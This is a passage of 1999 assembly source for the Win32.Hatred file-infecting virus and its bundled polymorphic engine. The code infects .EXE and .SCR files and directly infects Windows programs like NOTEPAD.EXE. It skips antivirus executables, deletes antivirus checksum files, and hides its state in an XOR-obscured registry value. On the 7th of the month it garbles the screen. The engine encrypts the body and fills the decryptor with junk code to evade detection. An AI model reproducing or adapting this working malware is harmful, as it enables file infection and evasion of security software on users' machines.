add esi, offset start_of_code-offset start ; memory
mov edi, esi ; EDI = where to place the
add edi, offset decrypt-offset start_of_code; decryptor
mov ecx, end_of_code-start_of_code ; ECX = size of code to crypt
shr ecx, 2 ; be sure is divisible by
shl ecx, 2 ; 4
;
Call MOF32 ; Call MOF32
;
mov edi, [ebp+the_end] ; go to the end
sub esi, edi ; and store a JMP there...
mov al, 0E9h ;
stosb ;
mov eax, esi ; a jmp to the beginning of
sub eax, 5 ; the real code
stosd ;
;
mov ecx, dword ptr [ebp+offset filesize] ; put zeroes until the end
add ecx, [ebp+mapaddress] ; of file so no mess is
sub ecx, edi ; found there (the mess
mov edi, [ebp+end_end] ;
mov al, 0 ; which remains is because
rep stosb ; of the alignment)
popad ; restore registers
;
mov edi, dword ptr [ebp+smth] ; mutate initial jump
add edi, offset jump_code-offset start ;
mov eax, dword ptr [ebp+first_intend] ; with the first intend
add dword ptr [edi+1], eax ;
ret ;
InfectFile endp ;
;??????????????????????????????????????????????????????????????????????????
;? Check if the file is good for infection ?
;??????????????????????????????????????????????????????????????????????????
;
; Entry: = pointer to filename
;
; Return: CF clear if file is ok
; CF set if file cannot be infected
ValidateFile proc near ;
pushad ;
;
xchg esi, edi ;
lea esi, [ebp+avoid_list] ; point avoid list
;
repeat_check_files: ;
push esi ;
call [ebp+_lstrlen] ; get length of string
mov ecx, eax ;
;
push esi edi ;
rep cmpsb ; compare string
je file_invalid ;
pop edi esi ;
add esi, eax ; go to the next name
inc esi ;
cmp byte ptr [esi], 0FFh ; the end?
je file_valid ;
jmp repeat_check_files ;
;
file_valid: ;
clc ; file can be infected
popad ;
ret ;
;
file_invalid: ;
pop edi ecx ;
stc ; file cannot be infected
popad ;
ret ;
ValidateFile endp ;
;
avoid_list label ;
db 'TB' ,0 ;
db 'F-' ,0 ;
db 'AW' ,0 ;
db 'AV' ,0 ;
db 'NAV' ,0 ;
db 'PAV' ,0 ;
db 'RAV' ,0 ;
db 'NVC' ,0 ;
db 'FPR' ,0 ;
db 'DSS' ,0 ;
db 'IBM' ,0 ;
db 'INOC' ,0 ;
db 'ANTI' ,0 ;
db 'SCN' ,0 ;
db 'VSAF' ,0 ;
db 'VSWP' ,0 ;
db 'PANDA' ,0 ;
db 'DRWEB' ,0 ;
db 'FSAV' ,0 ;
db 0FFh ;
;??????????????????????????????????????????????????????????????????????????
;? Retrieve or set the last checked directory from the registry ?
;??????????????????????????????????????????????????????????????????????????
;
; Entry: nothing
;
; Return: EDI = pointer to the directory
SetInitialKey proc near ;
pushad ;
;
lea eax, dword ptr [ebp+offset key_handle] ; First let us open
push eax ; the key we have
push KEY_ALL_ACCESS ; our value set up in
push 0 ;
lea eax, dword ptr [ebp+offset KEY] ;
push eax ;
push HKEY_CURRENT_USER ;
call [ebp+_RegOpenKeyExA] ;
cmp eax, 0 ;
jne set_new_key ; if error -> create...
;
lea eax, dword ptr [ebp+offset key_len] ; now, after the key is
push eax ; open, lets query our
lea eax, dword ptr [ebp+offset key_data] ; Hatred value...
push eax ;
lea eax, dword ptr [ebp+offset key_type] ;
push eax ;
push 0 ;
lea eax, dword ptr [ebp+key_name] ;
push eax ;
mov eax, dword ptr [ebp+key_handle] ;
push eax ;
call [ebp+_RegQueryValueExA] ;
cmp eax, 0 ; if found, then it's ok
je key_was_found ;
;
mov eax, dword ptr [ebp+key_handle] ; close key handle
push eax ; (carefull!)
call [ebp+_CloseHandle] ;
;
set_new_key: ; otherwise create key/val
IF TESTONLY ; if we must set a new
ELSE ; key then we should make
call DirectInfect ; the direct infection
ENDIF ; now...
mov [ebp+skip], 1 ;
lea eax, dword ptr [ebp+disposition] ; new? or existing?
push eax ;
lea eax, dword ptr [ebp+key_handle] ; new key handle
push eax ;
push 0 ; security attrib
push KEY_ALL_ACCESS ; all access
push REG_OPTION_NONVOLATILE ; don't destroy at reboot
push 0 ; class
push 0 ; reserved
lea eax, dword ptr [ebp+KEY] ; ptr to new key name
push eax ;
push HKEY_CURRENT_USER ; parent key
call [ebp+_RegCreateKeyExA] ;
;
push 4 ; new value length
lea eax, dword ptr [ebp+system_paths] ; new value pointer
call CryptKey ;
;
subsequent_call: ;
push eax ;
push REG_SZ ; make it string
push 0 ; reserved
lea eax, dword ptr [ebp+key_name] ; key name for value
push eax ;
mov eax, dword ptr [ebp+key_handle] ;
push eax ; new key handle
call [ebp+_RegSetValueExA] ;
lea edi, dword ptr [ebp+system_paths] ;
mov eax, edi ;
call CryptKey ;
jmp exit_registry ;
;
key_was_found: ;
mov [ebp+skip], 0 ;
lea edi, dword ptr [ebp+key_data] ;
mov eax, edi ;
call CryptKey ; decrypt key
push edi ; is the found key
call [ebp+_SetCurrentDirectoryA] ; still a valid dir?
or eax, eax ;
jz set_new_key ; if not reset...
;
exit_registry: ;
mov eax, dword ptr [ebp+key_handle] ; close this handle too
push eax ;
call dword ptr [ebp+_CloseHandle] ;
mov dr0, edi ;
popad ;
mov edi, dr0 ; and return with edi
ret ; pointing the path
SetInitialKey endp ;
;
SetSubsequentKey proc near ;
pushad ;
lea eax, [ebp+offset key_data] ;
push eax ;
push 260 ;
call [ebp+_GetCurrentDirectoryA] ; retrieve last checked
lea eax, [ebp+offset key_data] ; dir
call CryptKey ; crypt it
push 4 ;
lea eax, [ebp+offset key_data] ; and set it in the
jmp subsequent_call ; registry
SetSubsequentKey endp ;
;
CryptKey proc near ; eax = address ; this crypts or decrypts
push eax ecx ; the key with a simple
push eax ; XOR algorithm. However
push eax ; using RegEdit you cannot
call [ebp+_lstrlen] ; see the encrypted key.
mov ecx, eax ; Instead a bunch of
pop eax ; black squares will
crypt_key: ; appear as our key's
xor byte ptr [eax], 'H' ; value.
inc eax ;
loop crypt_key ;
pop ecx eax ;
ret ;
CryptKey endp ;
;
HKEY_CURRENT_USER EQU 80000001h ; Where to create key
REG_SZ EQU 1 ; Create String values
REG_OPTION_NONVOLATILE EQU 0 ; Do not destroy at reboot
KEY_ALL_ACCESS EQU 0F003FH ; all access
disposition dd 0 ; ...
key_handle dd 0 ; values ret. by Create
KEY db "Control Panel\Cursors", 0 ; new key
key_data db 260 dup(0) ; new value
key_len dd 260 ;
key_name db "dertaH", 0 ; key name
key_type dd 0 ;
;??????????????????????????????????????????????????????????????????????????
;? Graphical Payload ?
;??????????????????????????????????????????????????????????????????????????
Payload proc near
lea eax, [ebp+offset systime] ; get the system time
mov edi, eax ;
push eax ;
call [ebp+_GetSystemTime] ;
mov eax, dword ptr [edi+4] ;
and eax, 0FFFF0000h ;
shr eax, 10h ; Eax = Day of Month...
cmp eax, 7 ; is it 7 ?
jne no_payload ;
;
push 1000h ; display a window
lea eax, [ebp+wintitle] ;
push eax ;
lea eax, [ebp+wintext] ;
push eax ;
push 0 ;
call [ebp+_MessageBoxA] ;
;
xor eax, eax ; get screen device context
push eax ;
call [ebp+_GetDC] ;
mov [ebp+screen], eax ;
;
loop_: ;
mov eax, 2000 ; get a random X-axis place
call brandom32 ;
mov [ebp+x], eax ;
mov eax, 2000 ; get a random Y-axis place
call brandom32 ;
mov [ebp+y], eax ;
push 0 ; erase area flag
push [ebp+x] ;
push [ebp+y] ;
push [ebp+screen] ;
push 1 ; area size
push 1 ; area size
inc [ebp+x] ;
inc [ebp+y] ;
push [ebp+x] ;
push [ebp+y] ;
push [ebp+screen] ;
call [ebp+_BitBlt] ; do it...
;
push 01bh ; check if ESC was pressed...
call [ebp+_GetAsyncKeyState] ;
or eax, eax ;
jne finish ;
jmp loop_ ;
;
finish: ;
no_payload: ;
ret ;
wintitle db "Win32.Hatred by Lord Julus (c) 1999", 0
wintext db 13, 10, 13, 10
db "Today is the 7th !! Today is the day of hate !!"
db 13, 10, 13, 10
db "With Heart feel Hatred ! Black blood runs thru my veins !"
db 13, 10, 13, 10
db "Hatred !!!! Hatred !!!!"
db 13, 10, 13, 10
db "(escape is your escape)"
db 13, 10, 0
x dd 0
y dd 0
screen dd 0
systime dd 0
Payload endp
;??????????????????????????????????????????????????????????????????????????
;? Erase Checksum Files ?
;??????????????????????????????????????????????????????????????????????????
EraseChecksums proc near ;
pushad ;
lea edi, [ebp+offset searchfiles] ; point to Search Record
lea esi, [ebp+offset av_list] ; point av files list
;
locate_next_av: ;
cmp byte ptr [esi], 0FFh ;
je av_kill_done ;
mov eax, esi ;
cmp byte ptr [eax], 0FFh ; is this the end?
je av_kill_done ;
push edi ; push search record address
push eax ; push filename address
call [ebp+_FindFirstFileA] ; find first match
cmp eax, 0FFFFFFFFh ; check for EAX = -1
je next_av_file ;
push eax ;
lea ebx, [edi.FileName] ; ESI = pointer to filename...
push ebx ; push filename address
call [ebp+_DeleteFileA] ; delete file!
;
call [ebp+_FindClose] ; close the find handle
;
next_av_file: ;
push edi ;
mov edi, esi ;
mov al, 0 ;
mov ecx, 100 ;
repnz scasb ;
mov esi, edi ;
pop edi ;
jmp locate_next_av ;
;
av_kill_done: ;
popad ;
ret ;
EraseChecksums endp ;
;
av_list db "AVP.CRC" , 0 ; the av files to kill
db "IVP.NTZ" , 0 ;
db "Anti-Vir.DAT", 0 ;
db "CHKList.MS" , 0 ;
db "CHKList.CPS" , 0 ;
db "SmartCHK.MS" , 0 ;
db "SmartCHK.CPS", 0 ;
db 0FFh ;
;??????????????????????????????????????????????????????????????????????????
;? Direct Infect Routine ?
;??????????????????????????????????????????????????????????????????????????
DirectInfect proc near ; direct ass-kick
pushad ;
;
lea esi, [ebp+tempdir] ;
push 260 ;
push esi ;
call [ebp+_GetWindowsDirectoryA] ; find Windows dir
;
or eax, eax ;
jz quit ;
;
push esi ;
call [ebp+_SetCurrentDirectoryA] ; change to it...
;
lea esi, [ebp+direct_list] ; take the files...
;
direct_loop: ;
call OpenFile ; open & infect
mov edi, esi ;
mov al, 0 ;
mov ecx, 100 ;
repnz scasb ; next file
cmp byte ptr [edi], 0FFh ;
je quit ;
mov esi, edi ;
jmp direct_loop ;
;
quit: ;
popad ;
ret ;
DirectInfect endp ;
;
IF DEBUG ;
direct_list label ;
db 'CDPLAYER.XEX', 0 ;
db 'CALC.XEX' , 0 ;
db 'PBRUSH.XEX' , 0 ;
db 'MPLAYER.XEX' , 0 ;
db 'NOTEPAD.XEX' , 0 ;
db 'WINHLP32.XEX', 0 ;
db 0FFh ;
ELSE ;
direct_list label ;
db 'CDPLAYER.EXE', 0 ;
db 'CALC.EXE' , 0 ;
db 'PBRUSH.EXE' , 0 ;
db 'MPLAYER.EXE' , 0 ;
db 'NOTEPAD.EXE' , 0 ;
db 'WINHLP32.EXE', 0 ;
db 0FFh ;
ENDIF ;
;??????????????????????????????????????????????????????????????????????????
;? Equates, structures, data ?
;??????????????????????????????????????????????????????????????????????????
IMAGE_DOS_HEADER STRUC ; DOS .EXE header
MZ_magic DW ? ; Magic number
MZ_cblp DW ? ; Bytes on last page of file
MZ_cp DW ? ; Pages in file
MZ_crlc DW ? ; Relocations
MZ_cparhdr DW ? ; Size of header in paragraphs
MZ_minalloc DW ? ; Minimum extra paragraphs needed
MZ_maxalloc DW ? ; Maximum extra paragraphs needed
MZ_ss DW ? ; Initial (relative) SS value
MZ_sp DW ? ; Initial SP value
MZ_csum DW ? ; Checksum
MZ_ip DW ? ; Initial IP value
MZ_cs DW ? ; Initial (relative) CS value
MZ_lfarlc DW ? ; File address of relocation table
MZ_ovno DW ? ; Overlay number
MZ_res DW 4 DUP(?) ; Reserved words
MZ_oemid DW ? ; OEM identifier (for MZ_oeminfo)
MZ_oeminfo DW ? ; OEM information; MZ_oemid specific
MZ_res2 DW 10 DUP(?) ; Reserved words
MZ_lfanew DD ? ; File address of new exe header
IMAGE_DOS_HEADER ENDS ;
IMAGE_DOS_HEADER_SIZE = SIZE IMAGE_DOS_HEADER
;
IMAGE_FILE_HEADER STRUC ; Portable Exe File
PE_Magic DD ? ;
Machine DW ? ; Machine type
NumberOfSections DW ? ; Number of sections
TimeDateStamp DD ? ; Date and Time
PointerToSymbolTable DD ? ; Pointer to Symbols
NumberOfSymbols DD ? ; Number of Symbols
SizeOfOptionalHeader DW ? ; Size of Optional Header
Characteristics DW ? ; File characteristics
IMAGE_FILE_HEADER ENDS ;
IMAGE_FILE_HEADER_SIZE = SIZE IMAGE_FILE_HEADER
;
IMAGE_DATA_DIRECTORY STRUC ; Image data directory
DD_VirtualAddress DD ? ; Virtual address
DD_Size DD ? ; Virtual size
IMAGE_DATA_DIRECTORY ENDS ;;;;;;;;;
;
IMAGE_DIRECTORY_ENTRIES STRUC ; All directories
DE_Export IMAGE_DATA_DIRECTORY ? ;
DE_Import IMAGE_DATA_DIRECTORY ? ;
DE_Resource IMAGE_DATA_DIRECTORY ? ;
DE_Exception IMAGE_DATA_DIRECTORY ? ;
DE_Security IMAGE_DATA_DIRECTORY ? ;
DE_BaseReloc IMAGE_DATA_DIRECTORY ? ;
DE_Debug IMAGE_DATA_DIRECTORY ? ;
DE_Copyright IMAGE_DATA_DIRECTORY ? ;
DE_GlobalPtr IMAGE_DATA_DIRECTORY ? ;
DE_TLS IMAGE_DATA_DIRECTORY ? ;
DE_LoadConfig IMAGE_DATA_DIRECTORY ? ;
DE_BoundImport IMAGE_DATA_DIRECTORY ? ;
DE_IAT IMAGE_DATA_DIRECTORY ? ;
IMAGE_DIRECTORY_ENTRIES ENDS ;
IMAGE_NUMBEROF_DIRECTORY_ENTRIES = 16 ;
;;;;;;;;;;;
IMAGE_OPTIONAL_HEADER STRUC ; Optional Header
OH_Magic DW ? ; Magic word
OH_MajorLinkerVersion DB ? ; Major Linker version
OH_MinorLinkerVersion DB ? ; Minor Linker version
OH_SizeOfCode DD ? ; Size of code section
OH_SizeOfInitializedData DD ? ; Initialized Data
OH_SizeOfUninitializedData DD ? ; Uninitialized Data
OH_AddressOfEntryPoint DD BYTE PTR ? ; Initial EIP
OH_BaseOfCode DD BYTE PTR ? ; Code Virtual Address
OH_BaseOfData DD BYTE PTR ? ; Data Virtual Address
OH_ImageBase DD BYTE PTR ? ; Base of image
OH_SectionAlignment DD ? ; Section Alignment
OH_FileAlignment DD ? ; File Alignment
OH_MajorOperatingSystemVersion DW ? ; Major OS
OH_MinorOperatingSystemVersion DW ? ; Minor OS
OH_MajorImageVersion DW ? ; Major Image version
OH_MinorImageVersion DW ? ; Minor Image version
OH_MajorSubsystemVersion DW ? ; Major Subsys version
OH_MinorSubsystemVersion DW ? ; Minor Subsys version
OH_Win32VersionValue DD ? ; win32 version
OH_SizeOfImage DD ? ; Size of image
OH_SizeOfHeaders DD ? ; Size of Header
OH_CheckSum DD ? ; unused
OH_Subsystem DW ? ; Subsystem
OH_DllCharacteristics DW ? ; DLL characteristic
OH_SizeOfStackReserve DD ? ; Stack reserve
OH_SizeOfStackCommit DD ? ; Stack commit
OH_SizeOfHeapReserve DD ? ; Heap reserve
OH_SizeOfHeapCommit DD ? ; Heap commit
OH_LoaderFlags DD ? ; Loader flags
OH_NumberOfRvaAndSizes DD ? ; Number of directories
UNION ; directory entries
OH_DataDirectory IMAGE_DATA_DIRECTORY\
IMAGE_NUMBEROF_DIRECTORY_ENTRIES DUP (?)
OH_DirectoryEntries IMAGE_DIRECTORY_ENTRIES ?
ENDS ;
IMAGE_OPTIONAL_HEADER ENDS ;
IMAGE_OPTIONAL_HEADER_SIZE = SIZE IMAGE_OPTIONAL_HEADER
;
IMAGE_SECTION_HEADER STRUC ; Section hdr.
SH_Name DB 8 DUP(?) ; name
UNION ;
SH_PhysicalAddress DD BYTE PTR ? ; Physical address
SH_VirtualSize DD ? ; Virtual size
ENDS ;
SH_VirtualAddress DD BYTE PTR ? ; Virtual address
SH_SizeOfRawData DD ? ; Raw data size
SH_PointerToRawData DD BYTE PTR ? ; pointer to raw data
SH_PointerToRelocations DD BYTE PTR ? ; ...
SH_PointerToLinenumbers DD BYTE PTR ? ; ...... not really used
SH_NumberOfRelocations DW ? ; ....
SH_NumberOfLinenumbers DW ? ; ..
SH_Characteristics DD ? ; flags
IMAGE_SECTION_HEADER ENDS ;
IMAGE_SECTION_HEADER_SIZE = SIZE IMAGE_SECTION_HEADER
;
IMAGE_IMPORT_BY_NAME STRUC ; Import by name data type
IBN_Hint DW 0 ; Hint entry
IBN_Name DB 1 DUP (?) ; name
IMAGE_IMPORT_BY_NAME ENDS ;
;
IMAGE_THUNK_DATA STRUC ; Thunk data
UNION ;
TD_AddressOfData DD IMAGE_IMPORT_BY_NAME PTR ? ; Ptr to IMAGE_IMPORT_BY_NAME structure
TD_Ordinal DD ? ; Ordinal ORed with IMAGE_ORDINAL_FLAG
TD_Function DD BYTE PTR ? ; Ptr to function (i.e. Function address after program load)
TD_ForwarderString DD BYTE PTR ? ; Ptr to a forwarded API function.
ENDS ;
IMAGE_THUNK_DATA ENDS ;;;;;;;;;
;
IMAGE_IMPORT_DESCRIPTOR STRUC ; Import descryptor
UNION ;
ID_Characteristics DD ? ; 0 for last null import descriptor
ID_OriginalFirstThunk DD IMAGE_THUNK_DATA PTR ? ; RVA to original unbound IAT
ENDS ;
ID_TimeDateStamp DD ? ;
ID_ForwarderChain DD ? ; -1 if no forwarders
ID_Name DD BYTE PTR ? ; RVA to name of imported DLL
ID_FirstThunk DD IMAGE_THUNK_DATA PTR ? ; RVA to IAT
IMAGE_IMPORT_DESCRIPTOR ENDS ;
IMAGE_IMPORT_DESCRIPTOR_SIZE = SIZE IMAGE_IMPORT_DESCRIPTOR
IMAGE_EXPORT_DIRECTORY STRUC ; Export Directory type
ED_Characteristics DD ? ; Flags
ED_TimeDateStamp DD ? ; Date / Time
ED_MajorVersion DW ? ; Major version
ED_MinorVersion DW ? ; Minor version
ED_Name DD BYTE PTR ? ; Ptr to name of exported DLL
UNION ;
ED_Base DD ? ; base
ED_BaseOrdinal DD ? ; base ordinal
ENDS ;
ED_NumberOfFunctions DD ? ; number of exported funcs.
UNION ;
ED_NumberOfNames DD ? ; number of exported names
ED_NumberOfOrdinals DD ? ; number of exported ordinals
ENDS ;
ED_AddressOfFunctions DD DWORD PTR ? ; Ptr to array of function addresses
ED_AddressOfNames DD DWORD PTR ? ; Ptr to array of (function) name addresses
UNION ;
ED_AddressOfNameOrdinals DD WORD PTR ? ; Ptr to array of name ordinals
ED_AddressOfOrdinals DD WORD PTR ? ; Ptr to array of ordinals
ENDS ;
IMAGE_EXPORT_DIRECTORY ENDS ;
filetime STRUC ; filetime structure
FT_dwLowDateTime dd ? ;
FT_dwHighDateTime dd ? ;
filetime ENDS ;
;
win32_find_data STRUC ;
FileAttributes dd ? ; attributes
CreationTime filetime ? ; time of creation
LastAccessTime filetime ? ; last access time
LastWriteTime filetime ? ; last modificationm
FileSizeHigh dd ? ; filesize
FileSizeLow dd ? ; -"-
Reserved0 dd ? ;
Reserved1_ dd ? ;
FileName db 260 dup (?) ; long filename
AlternateFileName db 13 dup (?) ; short filename
db 3 dup (?) ; dword padding
win32_find_data ENDS ;
MAX_PATH = 260
k32 dd 0
kernel32_name db "Kernel32.DLL", 0
advapi32_name db "ADVAPI32.dll", 0
user32_name db "USER32.dll", 0
gdi32_name db "GDI32.dll", 0
newimagebase label
imagebase dd 00400000h
getmodulehandle db "GetModuleHandleA"
getmodulehandlelen = $-offset getmodulehandle
getprocaddress db "GetProcAddress", 0
getprocaddresslen = $-offset getprocaddress
scanneddirs dd 0
searchrec win32_find_data
searchfiles win32_find_data
handle dd 0
handle1 dd 0
maphandle dd 0
searchhandle dd 0
signal dd 0
files dd 0
mapaddress dd 0
filesize dd 0
skip db 0
curdir db 260 dup (0)
tempdir db 260 dup (0)
FileTime dq 0, 0, 0
virussize equ end-start
filealign dd 0
sectionalign dd 0
oldeip dd 0
PEheader dd 0
lastsection dd 0
deltahandle dd 0
smth dd 0
fileofs dd 0
fileattributes dd 0
;------------------- Kernel32 APIS
k32_API_names label
db "GetModuleHandleA",0
db "ExitProcess", 0
db "GlobalAlloc", 0
db "GlobalFree", 0
db "GetWindowsDirectoryA", 0
db "GetSystemDirectoryA", 0
db "GetCurrentDirectoryA", 0
db "SetCurrentDirectoryA", 0
db "FindFirstFileA", 0
db "FindNextFileA", 0
db "GetDriveTypeA", 0
db "CloseHandle", 0
db "FindClose", 0
db "CreateFileA", 0
db "CreateFileMappingA", 0
db "MapViewOfFile", 0
db "UnmapViewOfFile", 0
db "SetFilePointer", 0
db "SetEndOfFile", 0
db "GetFileSize", 0
db "lstrlen", 0
db "SetFileTime", 0
db "GetFileTime", 0
db "GetProcAddress", 0
db "FlushViewOfFile", 0
db "GetLastError", 0
db "GetSystemTime", 0
db "GetFileAttributesA", 0
db "SetFileAttributesA", 0
db "DeleteFileA", 0
db "IsDebuggerPresent", 0
db 0FFh
k32_API_addrs label
_GetModuleHandleA dd 0
_ExitProcess dd 0
_GlobalAlloc dd 0
_GlobalFree dd 0
_GetWindowsDirectoryA dd 0
_GetSystemDirectoryA dd 0
_GetCurrentDirectoryA dd 0
_SetCurrentDirectoryA dd 0
_FindFirstFileA dd 0
_FindNextFileA dd 0
_GetDriveTypeA dd 0
_CloseHandle dd 0
_FindClose dd 0
_CreateFileA dd 0
_CreateFileMappingA dd 0
_MapViewOfFile dd 0
_UnmapViewOfFile dd 0
_SetFilePointer dd 0
_SetEndOfFile dd 0
_GetFileSize dd 0
_lstrlen dd 0
_SetFileTime dd 0
_GetFileTime dd 0
_GetProcAddress dd 0
_FlushViewOfFile dd 0
_GetLastError dd 0
_GetSystemTime dd 0
_GetFileAttributes dd 0
_SetFileAttributes dd 0
_DeleteFileA dd 0
_IsDebuggerPresent dd 0
;------------------- Advapi32 APIS
a32_API_names label
db "RegCreateKeyExA", 0
db "RegSetValueExA", 0
db "RegQueryValueExA", 0
db "RegOpenKeyExA", 0
db 0FFh
a32_API_addrs label
_RegCreateKeyExA dd 0
_RegSetValueExA dd 0
_RegQueryValueExA dd 0
_RegOpenKeyExA dd 0
;------------------- User32 APIs
u32_API_names label
db "MessageBoxA", 0
db "GetDC", 0
db "GetAsyncKeyState", 0
db "ExitWindowsEx", 0
db 0FFh
u32_API_addrs label
_MessageBoxA dd 0
_GetDC dd 0
_GetAsyncKeyState dd 0
_ExitWindowsEx dd 0
;------------------- GDI32 APIs
g32_API_names label
db "BitBlt", 0
db 0FFh
g32_API_addrs label
_BitBlt dd 0
IF DEBUG ;
filemasks db "GOAT*.EXE", 0 ; for debug mode only
db "GOAT*.SCR", 0 ; goat files are searched
db 0FFh ;
ELSE ;
filemasks db "*.EXE", 0 ;
db "*.SCR", 0 ;
db 0FFh ;
ENDIF
copyright db "Win32.Hatred V.1.0 "
db "(C) 1999 by Lord Julus "
; ????? ????? ????? ????? ????? ????? ????? ????? ????? ????? ????? ?????
; ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?
; ????? ????? ????? ????? ????? ????? ????? ????? ????? ????? ????? ?????
; ????? ?????
; ? ? ? M?U?L?T?I?P?L?E O?P?C?O?D?E F?A?N?T?A?S?I?E?S 3?2 B?I?T ? ? ?
; ????? ?????
; ????? a polymorphic engine wrote by ?????
; ? ? ? ? ? ?
; ????? LORD JULUS - 1999 (C) ?????
; ????? ????? ????? ????? ????? ????? ????? ????? ????? ????? ????? ?????
; ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?
; ????? ????? ????? ????? ????? ????? ????? ????? ????? ????? ????? ?????
;
; VERSION 2.5
;
; Parameters on entry:
;
; ESI = offset to code to encrypt
; EDI = offset to the decryptor place
; EBX = address of the offset of code to decrypt at runtime
; ECX = length of code to decrypt
;
; Returns: nothing
MOF32 proc near ; Here is the actual poly engine
pushad ; body
; First let's encrypt the area that will be decrypted later
call Choose_random_registers ; choose the random registers to use
mov dword ptr [ebp+codeaddr], ebx
push edi ; save decryptor place
push ecx ; save code in bytes
mov ebx, esi ;
add ebx, ecx ; ebx points to the end
sub ebx, 4 ; minus 1 dword
shr ecx, 2 ; we work on dwords
push ebx ecx ;
call random32 ; get a random 32bit dword in EAX
mov dword ptr [ebp+offset key], eax ; which is the encryption key
call random32 ;
mov dword ptr [ebp+offset keyvalue], eax ; the key increment
mov eax, 20h ; the static key.
call brandom32 ;
inc eax ;
mov dword ptr [ebp+offset key2], eax
mov eax, 3 ;
call brandom32 ; get a random value between 0-3
mov dword ptr [ebp+offset op1], eax ; the encryption method
mov eax, 2 ;
call brandom32 ;
mov dword ptr [ebp+offset op2], eax ; the static key method
mov eax, 3 ;
call brandom32 ;
mov dword ptr [ebp+offset op3], eax ; the 'next code' method
mov eax, 3 ;
call brandom32 ;
mov dword ptr [ebp+offset op4], eax ; the operation over the key
;
pop ecx ebx ; restore length and pointer
mov eax, [ebp+key] ; put key in eax
mov [ebp+offset codelength], ecx;
; First we encrypt the code 0 1 2
; op1 = operation over code with the key register (XOR/ADD/SUB)
; op2 = operation over code with the static key (ROR/ROL)
; op3 = operation over code with next code (XOR/ADD/SUB)
; op4 = operation over the key with the keyvalue (XOR/ADD/SUB)
mainloop:
mov edx, dword ptr [ebx] ; edx = dword to encrypt
push eax ebx ecx ;
mov ecx, [ebp+op3] ; ecx = op3
mov eax, edx ; eax, dword ptr [ebx+4]
mov ebx, dword ptr [ebx+4] ;
call makeop ; do it!
mov edx, eax ;
pop ecx ebx eax ;
push ecx ;
mov ecx, [ebp+op2] ; ecx = op2
cmp ecx, 0 ;
jne notror ;
mov ecx, [ebp+key2] ;
ror edx, cl ; ROR
jmp over1 ;
notror: ;
mov ecx, [ebp+key2] ;
rol edx, cl ; ROL
over1: ;
pop ecx ;
push eax ebx ecx ;
mov ecx, [ebp+op1] ; ecx = op1
mov ebx, eax ; we do edx, eax
mov eax, edx ;
call makeop ;
mov edx, eax ;
pop ecx ebx eax ;
;
mov dword ptr [ebx], edx ;
;
push ebx ecx ;
cmp ecx, 1 ;
je no_thankyou ;
mov ecx, [ebp+op4] ; ecx = op4
mov ebx, [ebp+keyvalue] ; we do eax, keyvalue
call makeop ;
;
no_thankyou: ;
pop ecx ebx ;
;
sub ebx, 4 ; we go back 1 dword
loop mainloop ; and loop
jmp ok ; jump over
db "Multiple Opcode Fantasies 32Bit V.2.5 by Lord Julus - 1999"
makeop: ;
cmp ecx, 0 ; is it the first method ?
jne notxor ;
xor eax, ebx ; yes, XOR!
jmp ready ;
notxor: ;
cmp ecx, 1 ; or maybe second ?
jne notadd ;
add eax, ebx ; yes, ADD!
jmp ready ;
notadd: ;
sub eax, ebx ; then, SUB!
ready: ;
ret ;
;
ok: ;
pop ecx ; restore code length
pop edi ; restore decryptor place
shr ecx, 2 ; we work on dwords
mov dword ptr [ebp+offset key], eax ; get decryption start key
add ebx, 4 ; align start of code
; eax = initial key
; ebx = initial offset
; ecx = real length in dwords
; Here we start taking, filling and writing the decryptor
lea esi, [ebp+offset decryptor] ; esi points to the decryptor
mov [ebp+counter], 1 ; counter for instructions
;
mov eax, edi ; first we make some junk so that
call makejunk ; the jump to the decryptor is
call makejunk ; always at another offset
mov ebx, edi ;
sub ebx, eax ;
mov [ebp+first_intend], ebx ;
call makejunk ; ...and some more...
;
getinstr: ;
cmp [ebp+counter], 13d ;
je over_all ;
lodsb ; load one byte
cmp al, 0FEh ; check for instruction end
je over_instr ;
cmp al, 0FFH ; check for final end
je over_all ;
stosb ; store the byte
jmp getinstr ; do it again...
;
over_instr: ;
call makeinstr ; fill the instruction
cmp [ebp+counter], 11d ;
je no_junk_please ;
call makejunk ; create junk after it
;
no_junk_please: ;
inc [ebp+counter] ; increment counter
jmp getinstr ; and do it again...
;
over_all: ; the end...
call makejunk ; ...final junk
call makejunk ;
mov [ebp+the_end], edi ; mark the end
call makejunk ; some more...
call makejunk ;
mov [ebp+end_end], edi ; real end !
popad ; restore registers
ret ; and return
;?????????????????????????????????????????????????????????????????????????????
;? Here we have the instruction maker and the junk code generator. ?
;?????????????????????????????????????????????????????????????????????????????
makeinstr proc near ; The routine to fill the instr.
pushad ; save all regs
cmp [ebp+counter], 13d ; check for counter < 13
je ok_procs ;
;
mov ebx, dword ptr [ebp+counter] ; don't tell me that this is not
dec ebx ; optimized because I know, but
cmp ebx, 0 ; it is very difficult to deal
je proc01 ; with relative shit relative
cmp ebx, 1 ; to different imagebases...
je proc02 ; so get of my back ;-)
cmp ebx, 2 ;
je proc03 ;
cmp ebx, 3 ;
je proc04 ;
cmp ebx, 4 ;
je proc05 ;
cmp ebx, 5 ;
je proc06 ;
cmp ebx, 6 ;
je proc07 ;
cmp ebx, 7 ;
je proc08 ;
cmp ebx, 8 ;
je proc09 ;
cmp ebx, 9 ;
je proc10 ;
cmp ebx, 10 ;
je proc11 ;
cmp ebx, 11 ;
je proc12 ;
jmp ok_procs ;
;Here are the procedures to fill each instruction of the real decryptor
proc01: ; mov preg, code_start
and byte ptr [edi-5], 11111000b ; clear the place for preg
mov al, byte ptr [ebp+offset preg] ;
or byte ptr [edi-5], al ; fill the preg
mov eax, dword ptr [ebp+offset codeaddr]
or dword ptr [edi-4], eax ; fill the code start value
jmp ok_procs ;
;
proc02: ; mov kreg, key
and byte ptr [edi-5], 11111000b ; clear the place for kreg
mov al, byte ptr [ebp+offset kreg] ;
or byte ptr [edi-5], al ; fill the kreg
mov eax, dword ptr [ebp+offset key] ;
or dword ptr [edi-4], eax ; fill the key value
jmp ok_procs ;
;
proc03: ; mov lreg, code_length/8
and byte ptr [edi-5], 11111000b ; clear the place for lreg
mov al, byte ptr [ebp+offset lreg] ;
or byte ptr [edi-5], al ; fill the lreg
mov eax, dword ptr [ebp+offset codelength]
or dword ptr [edi-4], eax ; fill the code length value
jmp ok_procs ;
;
proc04: ; mov creg, [preg] (mainloop)
and byte ptr [edi-1], 11000000b ; clear for pointer and code regs
